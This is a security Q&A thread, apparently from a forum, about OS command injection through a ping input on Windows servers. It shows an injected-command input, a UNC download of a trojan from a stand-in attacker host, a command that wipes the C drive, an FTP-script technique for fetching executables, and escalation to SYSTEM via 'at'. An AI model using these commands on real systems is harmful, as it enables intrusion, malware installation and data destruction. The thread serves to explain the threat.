Command injection Windows platform

Question

Let's say there's a site which is vulnerable to user's input.

For example users can ping a specified IP.

Since the site is vulnerable to Os command injection, a user as well as an IP address he/she decides to add the following command:

;ls

So actually what he/she inserts is: 198.71.xxx.xx ;ls

; stands for separator to commands in the same line

ls means listing the content of a directory

Of course , what I wrote above is valid if and only if the underlying server operating system is Unix-like.

My question: in case the Os is Windows (Windows Server 2003 or whatever even a more recent version) what an attacker should write after the IP ?

Is dir the only thing or maybe another more dangerous command?

It's just for study purposes.

Thanks a lot

Answer 1

The command separator on Windows is & rather than ;.

Output redirection using > is another potentially-dangerous general shell feature to consider if you can't get to &, as you could use that to write to any file.

Escaping Windows shell metacharacters in order to allow safe usage of arbitrary input is very difficult to get right. (There is a rule, but it is strange and poorly documented.) If you absolutely must spawn a command using the shell out on a Windows box (this is almost always better avoided), strong whitelist input validation is advisable.

As for what commands you run when you've got command injection, it's traditional to try to download and run an executable (generally remote administration trojan) through whatever means you can get through any network firewalls upstream from the web server. This might be:

• from a UNC path (\\attacker.example.com\trojan.exe)
• using FTP
• writing to a VBScript file then running it to download from an HTTP resource

Answer 2

Well the most destructive thing I can think of is del /f /s /q c:\*, which deletes all files on the C drive.

A good way to gain further access is to chain a group of echo commands with append redirects (e.g. echo test >> c:\commands.txt) to write a set of FTP commands into a file, then run ftp -s:c:\commands.txt [host] to run those commands on the server and download an executable. We can then do a final request to run that executable.

In general a command injection is likely to be very dangerous, because it amounts to having the same privileges as the account that runs the vulnerable service. Worse, if you're running an XP-based OS, the task scheduler allows for easy privilege escalation to SYSTEM, via the at command.